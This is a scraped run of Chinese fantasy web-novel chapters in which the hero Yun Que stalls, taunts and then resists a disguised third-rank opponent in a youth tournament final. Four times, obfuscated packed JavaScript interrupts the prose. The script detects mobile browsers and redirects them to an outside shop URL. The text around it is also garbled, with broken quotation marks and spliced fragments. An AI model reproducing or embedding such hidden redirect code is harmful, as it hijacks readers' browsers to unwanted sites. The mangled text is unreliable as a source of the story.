朱幺的喝声,没有引来任何附和。 柳真真史得侩等人沉默着望着他,目光充满了陌生。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13357048|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “嘁,无聊。 朱幺哼了声,道:“枉我拿你们当兄弟,你们反而拿我当外人,算了,我不计较,境界一高啊,注定与你们这些弱小的家伙会出现隔阂,无敌,果然会寂寞啊。 说着无敌寂寞,朱幺浑身的气机却开始变得越来越强,整个擂台上的空气几乎都被凝固。 轰隆隆…… 阴沉的天空响起雷鸣。 冰冷的雨水随之而来。 这场雨虽然不大却为少年擂的最终决战蒙上了更加阴冷的一层迷雾。 归真境的恐怖气息已经将擂台四周完全封锁。 外面的风吹不进擂台一丝一毫。 外面的雨落不进擂台一点一滴。 宽敞的擂台仿佛变得了一片死地。 而云缺的身影始终站得笔直傲然而立没有丝毫颤抖也没有半点惧意目光平淡。 “真没看出来朱幺兄弟深藏不露啊。” 云缺淡淡一笑道:“看来你和你的狗一样都喜欢苟道不太喜欢当人喜欢装狗。” 朱幺抱着肩膀嘎嘎笑道: “是呀苟道多有意思!能用弱者的视角看世界可以看到很多有趣的东西比如看到一些明明弱小得可怜的家伙却在你面前装强者就像一群蚂蚁排列成大军还让你站在队伍最后嘿嘿嘿你说是不是很有趣啊!” “确实有趣不过你的爱好肯定不是看着蚂蚁列队组成大军。”云缺语气淡淡的道:“你真正的兴趣是在那群蚂蚁觉得自己足够强大的时候你再现出真身一脚将它们统统踩死。” “哈哈!不得不说你还真了解我呀!难怪你小子一来少年城我就看你最顺眼嘎嘎!” 朱幺怪笑道:“不过你说错了踩死蚂蚁之前我还要欣赏蚂蚁们震撼绝望的表情欣赏它们无助又可怜的模样等戏耍够了再踩个半死看它们求生不能求死不得的样子才够有趣直接踩死多无聊。” 云缺点点头道: “我知道了原来你有病还病得不轻。” “哦?说说看我有什么病呢。”朱幺满脸好奇的道。 “扮猪吃虎强迫症。”云缺道。 “嘎嘎嘎!对!就是这病你说对了哈哈!我就喜欢扮猪吃虎哈哈!”朱幺大笑道:“那么接下来就让我看看你这只小蚂蚁会不会也变成老虎让我一口吃掉!” “呵呵你也说对了其实我和你一样是同道中人。”云缺冷笑道。 朱幺一听立刻变得兴奋起来抓耳挠腮的道: “是吗!那最好不过了!快点施展手段我看看你究竟能变得多强是不是也像我一样能扮猪吃虎如果吃不掉虎嘿嘿那就只能等死!” 云缺一摆手表情傲然的道: “这次你猜错了我说的同道中人不是扮猪吃虎的同道。” “那是什么同道?快说快说!”朱幺好奇的催促道。 “自然是苟道中人此道 云缺冷声说完立刻面向大秦一方底气十足的洪声大喝: “丞相救命啊!我不打擂台了我要回去娶公主!公主若是成了寡妇皇帝会扁你为庶民!抄你家金银!砍你家儿女!挖你家祖坟!” 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 第581章 兄弟何必难为兄弟 六品宗师运转气机发出的喝声,中气十足,一时间压过了滚滚雷鸣,响彻在少年城之内。 甚至形成了回音,余音不绝。 挖你家祖坟! 你家祖坟! 家祖坟! 祖坟! 坟…… 这种回音,听得左兰山险些吐血,这位大秦丞相气得脸色铁青,眼皮乱跳。 左兰山觉得自己还是小觑了驸马的脸皮。 他以为驸马遇到危险肯定会不要脸的喊救命,只是没想到人家不仅喊救命,还搬出来秦皇当后手。 这下好了, 丞相若不出手相救,天下人全都知道驸马之死与丞相有关,到时候秦皇就算对驸马之死无动于衷,也得惩戒丞相,否则如何能服众。 左兰山气得直翻白眼。 心说你个可恶的驸马,少说两句能死啊!不想打直接喊救命就完了,我能见死不救吗! 对于驸马的毒舌,左兰山是一点招儿都没有。 相当于丞相的无奈,周围无数的少年修士听完云缺这句惊天之言,先是纷纷错愕,接着大跌眼镜。 少年们觉得心里有什么东西碎了满地,还是碎成渣儿的那种。 低头一瞧, 哦,原来是我们的尊严…… 共情的弊端,就是如此。 没办法,谁让人家云缺能屈能伸,而且伸缩得如此毫无征兆,如此驾轻就熟呢。 跟不上人家的节奏,只能被晃得心情破碎,心口发疼。 连朱幺都愣住了,直勾勾盯着云缺。 朱幺觉得自己的认知出现了问题。 苟道,不是一种策略吗? 平日里行事保持谨慎低调,从不显山露水,让外人始终觉得自己是个弱鸡,不鸣则已一鸣惊人。 你这好像不是苟,你这是狗啊! 云缺此刻也抱着肩膀,冷冷而笑,那气势根本不像刚喊完救命,而是如同得到了胜利成为少年王一般。 比苟? 呵呵,我平天王从来没输过! 至于苟还是狗,重要么? 与其他人不同,台下的柳真真除了惊讶之外,还多了些迷茫和懊恼。 柳真真仰头望着擂台,大喊道: “ 云缺!你为何要去娶公主?你不是应该娶我么! 云缺的眼皮跳了跳,当做没听到,这次先娶公主,下次有机会再娶你,你们排队吧…… 很快朱幺反应了过来,恼怒道: “认输?不打了!那怎么能行!这可是少年王的决战,我要堂堂正正赢来少年王的称号! 云缺转过身,道: “想赢得堂堂正正还不简单,你先瞪大眼睛。 朱幺闻言瞪起了眼睛,不解道:“瞪眼睛能怎样,跟堂堂正正有什么关系? 云缺忽然后退了两步,捂着心窝道: “好强的目力!阁下的狗眼神功登峰造极,在下甘拜下风,你赢得堂堂正正。 云缺这边拖延着时间,心里却愈发焦急,大骂丞相左兰山。 还不动手等什么呢! 快来救我啊!再等下去你家祖坟冒青烟了! 左兰山比云缺还气愤,坐在大椅上就是不动手,他要等到驸马被打一顿之后才出手,要不然难消这口恶气。 正好台上有个三品归真,用来教训教训驸马再好不过。 别看云缺能在擂台上转身,也能正常说话,但是没人知道云缺此时的压力有多大。 并非心里的压力,而是身体上的压制之力! 三品归真形成的空间禁制,完全可以压制住五品金身乃至四品破军,五品以下,甚至会被挤压成肉泥! 自从替二皇子解围的瞬间,云缺其实已经陷入了归真强者的禁锢当中。 要不然两座擂台合拢的时候,云缺早跳下去了,岂能等到现在。 如今身处三品归真所特有的空间禁制当中,云缺每说一个字,都要运转全力,每走出一步,都要耗费巨大的力量。 若非本体堪比四阶妖兽,这时候早被禁制之力挤压而亡! 朱幺冷声道: “敢耍我,你胆子可真不小哇!这局擂台你打也得打!不打,也得打! 云缺冷笑道: “三品强者果然霸道,我若是不打呢。 “你不打,我会打死你! 随着朱幺捏拳的举动,地面上的岩石都跟着出现了细密的裂痕,三品归真的恐怖令周围众人无不骇然! 修行者的九品境界,被分为三个大阶段。 上品,中品,下品。 三品境界,已经迈入了上品之列,与中品根本不在一个层面。 哪怕四品修为,面对三品也是遥不可及。 更别提云缺现在只是中品最后一层的六品修为。 云缺看似说得轻松随意,而且撒泼耍赖,实则周身气机尽数调动,时刻防备着对方出手。 这一战,云缺实在无奈。 距离完美金身就差那么一点,眼看着就能推开境界大门,结果最后决战迎来了一个不可能战胜的对手。 真要动手,不但少年王的名头挣不来,完美金身的契机也将彻底失去。 最好的选择就是退走。 舍弃少年王的名头,至少能保住完美金身的机会。 云缺叹了口气,道: “朱幺啊,咱们也算兄弟一场,同在少年城住过多日,兄弟何必难为兄弟,少年王的资格让给你了,非得与我一战,难不成咱们有仇么。 朱幺嘿嘿怪笑道: “当然有仇了!你在少年城的时候戏耍我家狗子,俗话说打狗看主人,你既然不给我面子,我当然要打死你才痛快! 云缺点了点头,道: “原来如此,你还挺有爱心的嘛,狗子被骂也要报仇,你娘要是被人睡了,你是不是也得去拼命。 朱幺脸色一冷,道:“废话!有仇不报非君子! 云缺道: “果然啊,你娘和狗一个待遇,你这不孝之儿,你就不会多想想,也许睡走你娘的是她的老情人呢,你爹是因为手段霸道抢走了你娘,拆散了人家一对鸳鸯,如此才有了你这个杂种。 “我爹抢我娘?朱幺被绕得有点发懵。 趁着对方愣神儿的工夫,云缺再次朝着大秦一方大喝: “丞相大人动手啊!快把我救出去!我要回公主府!再不动手我命休矣! 左兰山冷哼一声无动于衷,道: “多好的机会,驸马岂能错过,若能争来少年王,陛下定会重重有赏,到时候老夫会替你上奏,求陛下封你为玄龙军的将军。 左兰山这算盘打得噼啪乱响,既没丢人去送重礼,又能白得一员大将,简直一箭双雕。 大秦丞相,心机过人。 左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368630|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰山已经盘算好了,必须让云缺与朱幺动手,哪怕只打一招他再出手破开归真的禁制也不迟。 只要驸马在一招之下不死,左兰山就有了足够的说辞。 回去后对皇帝说驸马虽败犹荣,有力战归真的勇气,如此悍将留在公主府太过可惜,别人不要,老夫勉强收下,让驸马在玄龙军当个偏将。 皇帝只要答应,左兰山相当于将云缺拿捏在了手里,先打压,磨掉驸马的一身锐气,再慢慢提拔,最后成为自己真正的左膀右臂。 御史大夫马至远,就是左兰山如此打造出来的合格手下,他决定将这套手段也用在云缺身上,如今正是最佳时机。 云缺气得直接骂街: “左兰山你个老匹夫!我做鬼也不会放过你!我若死在擂台会留下无穷怨念,死后必将化作鬼王,等我成为鬼王先去刨你家祖坟!把你家先祖挫骨扬灰!然后住在你家祖坟里给你当祖宗!!! 骂街之词,人们见得多了。 但是听见云缺骂街之后,所有人都觉得大开了眼界。 原来骂街,还能骂到如此高深的境界! 刨祖坟都不行,刨完直接住你家祖坟里! 这骂得也太狠了! 简直无敌! 听云缺的这顿骂街,大皇子赢财差点没绷住,恶毒的人见多了,这么恶毒的真没见过! 赢财觉得自己天生坏种的名号实在名不副实,应该让给驸马才对。 都说宰相肚子能撑船。 左兰山确实能忍,愣是挺住了,一动不动,就是头顶开始冒青烟…… 周围的大皇子段无病等人小心翼翼的往旁边挪凳子,生怕丞相被气得原地爆炸,崩自己一身血。 很快朱幺反应了过来,原来云缺是在骂他。 “你小子够坏的啊!没关系,等会儿让你知道知道老子更坏!嘿嘿,咱们开打喽! 朱幺迈动脚步,走向云缺,面带狞笑。 随着朱幺的脚步声,周围所有人的心全部提了起来,一眼不眨的盯着擂台,想要看一看云缺如何才能脱困。 云缺的神色随之冷冽起来,抬起手。 人们以为云缺想要动手,要摆出起手式,结果人家就 是单纯的抬手,比量个停止的手势。 “等等。 云缺义正言辞的道:“跟我打也行,你先说说来少年城的目的是什么,用不着胡编,即便是饭桶都知道你绝非少年城之人。 云缺想要拖延时间,但是朱幺看出来了。 他脚步不停,狞笑道: “谁说我不是少年城的人!我可是少年城的元老之一,城主和大将军都可作证,我们小时候就认得!我的目的当然是干死秦皇!等我打死你,一统少年城之后就会立刻发兵攻打天龙城! “狗皇帝作威作福这么多年,也该让位了,我们少年城才是大秦之主!赢開只会将大秦带向灭亡! 朱幺说话间抬起了拳头,捏出嘎嘣嘎嘣的脆响,狞声道: “差点忘了,只要攻打皇城,少年城也就没了退路,这座城需要彻底毁掉,这叫破釜沉舟!少年城消失,天澜宝境二重的入口也会彻底消失,以后没人能去宝境二重喽。 朱幺随口而出的这句话,别人听着没多大震惊。 毕竟比起攻打大秦皇城这种壮举,毁掉宝境入口算得了什么,反正没多少人去。 可是闻听此言,云缺的目光瞬间冷如寒冰! 第582章 天下愚人者多 面对三品强者云缺只能选择退避即便丞相不帮忙云缺也要逃出擂台。 即便动用妖力也得避开这一战。 云缺已经开始调动妖力可是当朱幺说出毁掉少年城连着天澜宝境第二重也会随之毁掉的时候云缺逃出擂台的想法顿时被一阵寒意消弭。 母亲就在天澜宝境随时都有消散的危险宝境第二重云缺是必去的。 这也是云缺冒着绝险替代白誉来大秦当赘婿的原因所在。 朱幺的说法很是古怪因为天澜宝境第二重的入口应该在天龙城才对。 这是唐皇亲口所言不会有错。 云缺的脸色冷了下来道: “破釜沉舟的确是个好主意你有本事毁掉少年城算你能耐可天澜宝境的入口在皇城与少年城的存亡有何关联。” 朱幺此时走到了擂台中心闻言停住了脚步冷笑道: “还以为你有多高的见识原来是个孤陋寡闻之辈天澜宝境第二重的入口早就不在天龙城了宝境是化境空间入口不会固定在一个地方。” “十几年前宝境入口确实在天龙城附近 “嘿嘿这就叫宝地有灵!连宝境都知道少年城才是大秦真正的希望所以入口才会挪移到这里这是老天要灭秦的征兆!秦皇无道早该让位!兄弟们说对不对!” 朱幺断喝之后一些少年城的人开始迟疑起来。 很快有人振臂高呼。 “朱幺说得对!秦皇无道早就该死!我们少年城应取而代之!” 接着有不同的声音出现。 “秦皇可是一品强者我们少年城的人再多说到底全是低阶修士难道真能覆灭大秦吗?” “有什么不能!朱幺不就是三品强者吗人家可是真正的强人有他带领我们少年城的高手肯定越来越多发展得越发壮大!” “说得对!少年城的初衷就是斩妖除魔匡扶正义!秦皇无道纵子行凶害了多少人!这种皇帝我们不服!我们不认!” “有三品强者成为首领少年城将来定可成为一方净土!天龙城里乌烟瘴气大秦是该换个皇帝了!” “大皇子就在城内!等选出少年王,先拿那狗皇子祭旗,替田校尉报仇雪恨! 越来越多的少年们开始变得义愤填膺,愤慨不已。 少年城的人,向来不认秦皇,不以秦人自居,从小到大,这些少年们始终认为自己是自由之人,没有家国,没有束缚。 田锺就在人群里呢,周围的呼喝声听得他直冒冷汗。 少年擂的局面,在田锺看来早已失控。 田锺从最开始得知云缺居然是驸马,就觉得无比震惊,现在驸马在台上没有丝毫胜算不说,若是丞相不出手,驸马就得被朱幺活活打死在擂台。 更要命的是,少年王已经不用选了,肯定是朱幺的! 人家可是三品强人,等到少年王尘埃落定,少年城开始攻打天祈城,他田锺这个奸细该如何应对? 里应外合? 没那个本事!一旦身份泄漏,朱幺用一根手指就能掐死他。 继续蛰伏? 什么时候是个头儿! 真要兵戎相见,秦皇一怒之下出手,大军开战,一旦丞相大人忘了他这枚棋子,他这个小小奸细很容易在混战中送命! 田锺现在很想大吼一声,别他娘的替我报仇!我与大皇子根本没仇! 可他不敢。 只能在心里默默祈祷,别替我报仇了兄弟们,给我留条活路吧…… 朱幺的一番豪言,引起了许多少年城之人的共鸣,呼应的声音此起彼伏。 柳真真已经在怀疑朱幺有问题,但更多的少年没那么多心智,只觉得朱幺是自己人,大家一起在少年城生活了十几年,之前朱幺没什么能耐,现在人家强大了,就该替兄弟高兴才对。 更何况少年城若出了三品强者,实力便会大增,即便打不过秦皇,至少有了与大秦抗衡一番的资格。 望着兴奋的少年们,云缺眉峰紧锁。 天下愚人者多,智人者少,智者不肯为恶,愚人好犯宪章。 云缺在心里轻叹一声。 云缺不怪这些少年们,因为朱幺实在隐藏得太深,能与少年城的众人从小一起长大,这份手段罕有人能及。 对于少年王,云缺此时已经不在乎了。 云缺唯一在乎的,是自己的母亲。 以云缺估计朱幺说的宝境入口挪移之事应该是真的。 天澜宝境第二重始终在大秦的天龙城 对于一个难以抵达的地方无论唐皇也好还是大唐修士也罢都会如正常人一般渐渐遗忘不会去过多打听。 以至于近年来宝境入口挪移唐皇那边并不知情。 想到这里云缺平复了一下心绪为了不引起朱幺的怀疑语气平淡的道: “朱幺兄弟给你个建议少年城还是留着为好毕竟这里是大家的故乡至少能当个退路打不过秦皇还有落脚之地你若毁掉少年城相当于自断后路。” 朱幺抱着肩膀笑道: “怕什么!打下皇城天龙城就是少年城!我们少年城要的不是一座破城而是大秦的天下!只要我成为少年王这座城马上毁掉!” 云缺道: “你想攻打皇城我没意见但你问没问过大家愿不愿意舍弃故乡跟着你去送死?攻打一品强者所在的天龙城你觉得有几分胜算到头来少年城的人死绝了恐怕也冲不到金銮殿!” 云缺这番话一说台下的少年们有很多醒悟过来。 朱幺提升的修为让少年们一时热血冲头觉得少年城实力大增有了抗衡秦皇的力量。 但是一品与三品之间差着太多犹如天堑! 少年城的人的确不少但大秦的精锐大军更多! 玄龙军虎贲军随便拉出来就是一股恐怖的战力更别说还有一品强者的秦皇坐镇。 这怎么打? 明显是送死嘛! 朱幺哈哈大笑洪声道: “谁说我们斗不过秦皇!我之所以能在短短时间内冲进三品正是因为服用了一种稀世灵花!这种灵花还有很多至少数百甚至上千朵!就在少年城附近!” “只要我成为少年王就会带着兄弟们挖空灵花我们少年城可以在短时间内出现千名三品高手!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368631|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “一个三品斗不过秦皇一百个呢!一百个三品高手斗不过一千个呢!耗也能耗死秦皇那老贼!” “我们少年城才是天佑之地少年城必将一统大秦!” 朱幺说完这番话周围 的少年城众人纷纷激动不已,呼喝声震天动地! 数百上千个进阶三品的机会,谁能不眼红! 谁能不激动! 很多少年城的修士都觉得朱幺才是少年城的主人,是带领少年们走向巅峰的气运之子。 云缺再次叹了口气。 很明显,朱幺是在顺口胡编,说瞎话呢。 如果少年城附近真有如此灵材,秦皇早将少年城铲为平地了,不会留着。 如果说进阶一个境界的天材地宝,或许云缺还有信上几分,可直抵三品这种事,绝不可信。 其实少年城的人并不傻, 很多人都觉得朱幺所说的天材地宝太过离奇,不像真的,但是朱幺本身的境界,恰好弥补了他的谎言。 人家就是三品归真,这一点不会有假。 又是从小一起长大的同伴,很多人觉得朱幺的修为甚至不如自己,连朱幺都能成为三品,自己肯定也能。 如此一来,即便觉得不可思议,大多数的少年们还是坚信不疑。 认为少年城确实是风水宝地,能出产各种外界不曾见过的绝世珍宝。 朱幺怪笑着望向云缺,道: “直抵三品的灵材哦,你是不是也很想要啊,打败我!那些珍惜的灵花就全是你的了,少年王的名头也是你的!打败我,不仅少年城能得以保存,宝境的入口也会继续存在,否则的话,你这辈子都进不去宝境二重!嘎嘎嘎! 朱幺的狂笑,令云缺心头猛地一寒。 云缺生出一种奇怪的感觉,好像对面的小胖子,知道自己必须去天澜宝境似的。 但这不可能啊! 知道自己去宝境救母亲的,只有唐皇,唐太子与武威王这些亲戚,不可能外泄消息。 退一万步,即便走漏了消息,也该秦皇得知才对,少年城的人不可能知道。 否则的话,自己要去天澜宝境二重救母的消息,岂不是相当于天下尽知了! 云缺疑惑不已。 为了不引起朱幺的怀疑,云缺之前始终没表现出对天澜宝境的太过重视,语气中也尽量用的吃惊之意,不知为何,朱幺好像知道自己要去宝境似的。 朱幺誓要毁灭少年城,不肯罢休,云缺不再多想其他,望向台下的柳真真,神色肃穆的问道: “还望城主如实告知,天澜宝境第二重的入口,是否挪移到了少年城。 柳真真从未见过云缺如此凝重,立刻如实的告知道: “朱幺说得没错,确实在少年城,大概六年前,宝境入口出现在少年城内。 得到柳真真的确认,云缺知道这场少年擂的最后决战,已经无法避免。 没办法了, 为了保住宝境入口,为了救回母亲,唯有一战! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第583章 我卖名,你卖肉 既然要与朱幺动手,云缺立刻抛弃了脑海里的所有杂念,将自身状态调整到巅峰。 不过动手之前,朱幺刚刚给少年城众人画的大饼,必须先戳破。 少年王之战,除了比拼武力,也在比拼着人气。 朱幺现在声望极高,俨然成了少年城的第一人,被无数少年视作引路人,能带领少年城走向真正的辉煌。 这可不行。 云缺现在的地位也不低,被许多人奉为无冕之王,但是无冕之王可没有引路人气势足。 而且云缺的身份是大秦驸马,已经穿帮无法再隐瞒,相当于站在了少年城的对立面。 哪怕这一战赢了,少年城的人也未必心服口服。 唯有将朱幺高高在上的地位拽下来才行! 云缺从擂台边缘转回身,背着手道: “满口胡言,睁眼说瞎话,朱幺,你画大饼的本事确实不赖,这一点,咱们算得上同道中人。” 朱幺冷笑道: “算了吧,我朱幺向来堂堂正正,可不像你这位大秦驸马,整天鬼鬼祟祟,弄一堆化名出来,你到底是白誉,是云缺,是梅钱,还是智障?我看前边都是假的,你应该就是个智障嘎嘎!是个贱种!” 云缺脸色不变,淡然道: “出门外在,多几个化名安全一些,我确实化名多,但比不得你啊,我充其量用些化名骗人,而你,却用身体骗人,我卖名,你卖肉,你说,我们俩谁更下贱呢。” 朱幺听罢顿时脸色沉了下来。 云缺骂得足够难听,将他朱幺比喻成了青楼女子。 “放屁!我堂堂三品武夫,我卖哪门子肉了!” 云缺淡然一笑,道: “自然是卖你自己这一身肥肉,如果我没猜错的话,十几年前城主与大将军遇到你的时候,你应该就如现在这般模样,没多大差别。 十几年来,别人都长大成人,而你还是个顽童模样,你不卖肉的话,你那本该多出来的一身肥肉,去哪了呢,总不会,被你那条三阶妖王的狗子给吃了吧。” 朱幺的眼角开始抽搐。 人家骂得太难听了,关键这件事直接戳在了朱幺的痛点。 朱幺混迹在少年城多年,他最大的破绽,就是十几年来几乎没 怎么生长,还是个小胖子。 朱幺正想辩解,云缺根本不给他说话的机会,继续朝着台下无数少年喝道: “诸位!有件事还望大家仔细想想,朱幺所言的天材地宝是否当真存在,别忘了这里是什么地方,这里是仙武大秦!云州大地最强之国! “若少年城附近当真有成百上千朵吃后能直达三品的奇花,难道秦皇这位当世一品会一点消息都没有?难道仙武大秦的无数高手会一点也不知情? 说到这,云缺一指丞相左兰山的方向,道: “难道那位大秦丞相,三朝元老,当世大儒,会一点都察觉不到? “就算之前不知情,人家丞相大人就坐在少年城里,怎会毫无发现,莫非那上千的灵花都会自行遮蔽气息不成,还是说灵花全都成精了,看到外人就会自己钻到地底下躲避? “别说千朵灵花,就算一朵都可香飘百里,难道那些稀世之花都是臭的么,大家谁也闻不到? 云缺的这番质问,令少年城一众热血少年渐渐清醒过来。 很多人开始反思,觉得云缺说的不无道理。 那么多稀世灵花,怎么会突然出现在同一个地方,这太不合理。 左兰山安坐在大椅上,缓缓点了点头,认同着驸马的心智。 对于云缺的聪慧,左兰山是承认的,比如现在的揭朱幺老底,看似多此一举,实则十分必要。 将敌人的气势打下来,将敌人的谎言揭穿,虽然不能削弱对方的战力,却能给自己一方增加气势。 而气势这种东西,绝非无用之物,甚至在关键时刻能影响战局的走向。 云缺继续道: “一朵直抵三品,百朵就是百位三品,千朵便是千位三品!若有这么多的灵花,秦皇可打造出一支无敌的大军,千位三品足以横扫云州,整个云州大地早已纳入大秦! “以朱幺所言,留着这么多灵花白给别人,秦皇岂不是成了傻子,仙武大秦的所有高手岂不是全都缺心眼儿,亲临少年城的大秦丞相岂不是天底下最大的饭桶! 左兰山刚刚在心里夸了云缺两句,一听这话,头顶又开始冒青烟了…… 朱幺冷哼着喝道: “有没有灵花,打完这一场即可真相大白!等 我成了少年王,如果拿不出足够的灵花分给兄弟们,大家自可质疑我!灵花没你的份儿,你今天只有一条路,那就是死在擂台!” 云缺冷笑道: “这就急了?是不是装少年装多了,心里开始变态,总拿自己当热血少年了,听不得别人说真话,看来你白活了那么多年。” “不仅你不是少年,你的那条狗,更加来历不明!少年城以斩妖除魔为己任,谁成想居然在城里养着一头三阶妖王,少年城究竟是天下少年的家国,还是你朱幺的养妖场!” 台下少年城的众人此刻纷纷色变,开始交头接耳起来。 “他说的是真的吗?狗子居然是妖王!” “不会吧,狗子在少年城这么多年,怎么可能是三阶妖王呢?如果当真是妖王,我们早被吞了!” “我看没准儿啊,刚才狗子在擂台上的表现,可不是什么小妖的能力。” “难道真是三品妖王!我的天呐!我们居然与一头妖王朝夕相处了十几年!” 越来越多的质疑声出现。 少年们望向朱幺的目光出现了陌生之感,更多了些恐惧之意。 朱幺见少年城的人开始质疑,脸色变得更冷,迈开大步走向云缺,寒声道: “多说无益,咱们谁在说谎,比完这一局自可真相大白!” 朱幺深知自己在言语交锋之上,绝非云缺的对手,再让云缺说下去,没准自己就成了少年城的公敌。 他决定不再给云缺任何机会,立刻动手! 云缺脚下也动了。 没往前走,而是绕着擂台走,与朱幺拉开距离。 “你瞧,心虚了吧,反正早晚要比斗,急什么,咱们好好掰扯掰扯,看看究竟是谁在欺骗少年城的兄弟们。” 见朱幺要动手,台下的柳真真焦急道: “朱幺!你说清楚,让你直抵三品的灵花到底是什么种类,其余灵花又在何处,我们只要找到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387340|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵花,即可相信你,否则我不信你能在短短十几年直接冲进三品归真!” 城主开口,一旁的史得侩立刻跟着吼道: “我也不信!三品又不是路边的大白菜,说挖就挖,朱幺!你他娘的给老子说清楚!你到底何时进阶的三品!不说清楚老子不认你这个兄弟!” 越来越多的少年们变得气愤起来。 很多人都想通了上千灵花这种极其离谱的说辞,认为朱幺在骗傻子,尤其刚才信了这番话的,幡然醒悟之下直接破口大骂朱幺,要朱幺立刻指明灵花所在之地。 从之前的声势浩大,到此时的千夫所指,朱幺的声望急转直下。 云缺的脚步越来越快,趁热打铁道: “听见了吗,你少年城的兄弟们都开始不相信了,天下少年虽然懵懂,但我们少年修士,不是谁都能骗的傻子! 云缺这句话更加引起了共鸣。 台下有人开始寻找杂毛狗的踪迹,想要验证狗子究竟是不是三阶妖王。 朱幺没去理睬台下众人的质疑,将目光死死盯在云缺身上,寒声道: “多说无益,既然我们各执一词,那便分出胜负输赢!谁输了,谁就是骗子! 云缺呵了一声,道: “恐怕输的不仅是骗子,还是个死人呢,你真是打得一手好算盘。 “嘿嘿,这话你说对了! 朱幺停下脚步不再追云缺,突然双手握拳冷喝道:“你马上就会变成死人! 嗡!!! 恐怖的气机波动犹如狂风般在擂台四周炸起。 整个擂台完全陷入狂风当中,呼啸声宛如惊雷! 云缺的身影随之定在原地,无法再动弹。 朱幺完全放开了三品归真所特有的禁锢之力,将擂台隔绝在天地之外,自成一方世界。 这是归真强者的能力。 将一处战场完全化为自身领域,在这片领域当中,归真武夫,便是主宰! 在禁锢的擂台上,风雨不复存在,灵气荡然无存,连空气都被压制到地面,形成一层稀薄的云雾。 此时的少年擂,宛如悬浮在云端! 神秘之余,更多的是令人头皮发麻的恐惧,因为人们能看到擂台上的空间居然出现了扭曲! 空间扭曲,代表着此地被完全封印! 而身处封印当中的云缺,则成了一座雕像,任人宰割。 鸿影,白誉,段无病,柳真真,史得侩,马至远等人全都紧张起来,心都提到了嗓子眼儿。 没人认为云缺以六品宗师,就能冲出三品归真的禁锢空间。 如果没有外力相助,擂台上的云缺只有死路一条! 甚至连动,都无法妄动一下! 左兰山此时缓缓站了起来。 这位大秦丞相自然不会让驸马当真死在擂台,左兰山已经想好了,只要云缺再喊一次救命,再丢一次人,他就会出手破开封印。 然而让左兰山诧异的是,云缺居然没吭声。 左兰山忽地皱眉,猜不到云缺是不想喊救命,还是被归真之力压制得说不出话来。 就在所有人全都提心吊胆之际,擂台上,忽然传来云缺的一声低笑。 随着笑声而起的,还有冲天的煞气! 第584章 抓不住的泥鳅 从云缺脚下开始,狂风骤起! 擂台地面的云雾被撕裂,尽数吹散,现出了原本的岩石地面。 此风由云缺本体而来,无形无色,却蕴含着狂暴到极致的气息,阴冷中透着无穷杀意。 那是煞气。 云缺斩妖多年汇聚而来的冲天煞气! 三品归真强者的禁锢之力,居然被这股煞气完全冲开! 朱幺前进的脚步,在此刻豁然一顿。 咔吧!咔吧! 云缺活动着手腕,骨节发出一阵脆响,轻笑道: “听闻归真武夫强大到可以压制天地气息,自成一界,此地空间唯我独尊,原来不过如此罢了,连六品宗师都压制不住,你这个三品归真,莫不是假的吧。 云缺说得轻松,模样更是轻松,不仅能在三品强者的领域空间内行动自如,还能谈笑风生。 台下的很多少年修士甚至生出一种错觉, 好像朱幺确实不是三品,可之前吊打破军的一幕,又真真实实的存在。 错觉归错觉,没人怀疑朱幺三品的实力,人们更加震撼的,是云缺此时的轻松模样。 六品武夫,居然在三品强者全力施展的禁锢之下如此轻松,人家到底怎么做到的! 煞气的存在,外人不曾察觉。 云缺能行动自如,并不代表着朱幺的禁锢之力完全消失,整座擂台仍旧被朱幺封印,煞气难以外溢。 别看煞气离不开擂台,却能抗衡住朱幺的气机! 此刻的擂台上,几乎被分成了两个区域。 一方是来自三品归真的恐怖气机,另一方则是云缺的如山煞气! 两股气息之间互相挤压,互相吞噬,一时间谁也无法奈何对方,达到了一种诡异的平衡。 朱幺在短暂的错愕之后,狞笑道: 